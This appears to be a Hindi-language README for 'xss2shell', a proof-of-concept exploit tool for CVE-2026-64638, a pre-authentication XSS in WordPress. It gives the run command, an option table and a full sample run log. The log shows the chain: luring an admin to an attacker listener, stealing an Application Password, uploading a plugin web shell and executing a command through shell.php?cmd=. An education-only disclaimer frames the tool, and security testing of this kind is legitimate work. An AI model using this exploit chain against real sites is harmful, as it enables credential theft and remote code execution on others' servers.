wordsec/xss2shell# वर्डप्रेस प्री-ऑथ XSS से RCE शोषण PoC (xss2shell और CVE-2026-64638)
XSS2Shell CVE-2026-64638 के लिए एक शैक्षिक प्रूफ-ऑफ-कॉन्सेप्ट है, जो कमजोर WordPress इंस्टॉलेशन में प्री-ऑथेंटिकेशन XSS समस्या के प्रभाव को प्रदर्शित करता है। व्यवस्थापक की स्पष्ट भागीदारी के साथ, PoC एक WordPress Application Password कैप्चर करता है, एक अस्थायी पेज प्रकाशित करता है, एक टेस्ट प्लगइन अपलोड करता है, और जाँचता है कि परिणामी शेल एंडपॉइंट एक कमांड निष्पादित कर सकता है या नहीं।
तकनीकी पृष्ठभूमि: WordPress Pre-Auth XSS to RCE: CVE-2026-64638
केवल शिक्षा और अधिकृत परीक्षण के लिए। इस टूल को केवल उन्हीं WordPress साइटों के विरुद्ध चलाएँ जिनके स्वामी आप हैं या जिनके आकलन की लिखित अनुमति आपके पास है। इसका उपयोग तीसरे पक्ष के व्यवस्थापकों या प्रोडक्शन सिस्टम को लक्षित करने के लिए न करें।
python3 xss2shell_poc.py -t http://wordpress.research.local --lhost 192.168.1.227 --lport 8080 -c "whoami"
| विकल्प | आवश्यक | विवरण |
|---|
-t, --target | हाँ | WordPress आधार URL, जिसमें http:// या https:// शामिल है |
-c, --command | हाँ | शेल उपलब्ध होने के बाद चलाने के लिए कमांड |
--lhost | नहीं | बाइंड करने और विज्ञापित करने के लिए लिसनर IP; डिफ़ॉल्ट रूप से पता लगाया गया LAN IP |
--lport | नहीं | लिसनर पोर्ट; 0 एक यादृच्छिक उपलब्ध पोर्ट चुनता है |
--keep | नहीं | अस्थायी पेज को हटाने के बजाय प्रकाशित कलाकृतियों को रखें |
लक्ष्य URL स्वचालित रूप से सामान्यीकृत होता है, इसलिए अंतिम स्लैश वैकल्पिक है।
/wp-login.php सुलभ है और WordPress लॉगिन पेज जैसा दिखता है।shell.php को सत्यापित करता है और अनुरोधित कमांड चलाता है।लिसनर व्यवस्थापक के ब्राउज़र के लिए सुलभ होना चाहिए। NAT, फ़ायरवॉल, प्रॉक्सी, पॉपअप-ब्लॉकिंग और मिश्रित-सामग्री नियम ब्राउज़र प्रवाह को पूरा होने से रोक सकते हैं।
__ __ _ _____
\ \ / / | |/ ____|
\ \ /\ / /__ _ __ __| | (___ ___ ___
\ \/ \/ / _ \| '__/ _` |\___ \ / _ \/ __|
\ /\ / (_) | | | (_| |____) | __/ (__
\/ \/ \___/|_| \__,_|_____/ \___|\___|
xss2shell & CVE-2026-64638 | https://wordsec.net/ - Education Purpose Only
============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
-> http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
-> http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] Application Password saved to xss2shell_creds.json for later runs (shell: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php)
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=3SGS Loba 2Txw EzWz EbZC xZst (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1786125273210/
[+] Plugin ZIP upload request sent with the victim's session
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php
============================================================
[+] Command output:
www-data
============================================================
[*] Cleanup: published page deleted (id=61)
[*] Cleanup: Application Password, plugin shell, and saved credentials preserved
[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.
सफल रन कैप्चर किए गए Application Password को बाद के रनों में पुन: उपयोग के लिए xss2shell_creds.json में सहेजते हैं। अस्थायी प्रकाशित पेज कमांड के बाद स्वचालित रूप से हटा दिया जाता है जब तक कि --keep का उपयोग न किया जाए।
टेस्ट प्लगइन, शेल एंडपॉइंट, Application Password और सहेजी गई साख वर्तमान PoC द्वारा जानबूझकर संरक्षित की जाती हैं। अधिकृत आकलन के बाद उन्हें परीक्षण साइट से मैन्युअल रूप से हटाएँ, और स्थानीय रूप से xss2shell_creds.json को हटा दें।
साख फ़ाइल को संवेदनशील मानें और इसे कभी भी संस्करण नियंत्रण में कमिट न करें।
इस रिपॉजिटरी में शामिल लाइसेंस का उपयोग करें।
WordSec द्वारा निर्मित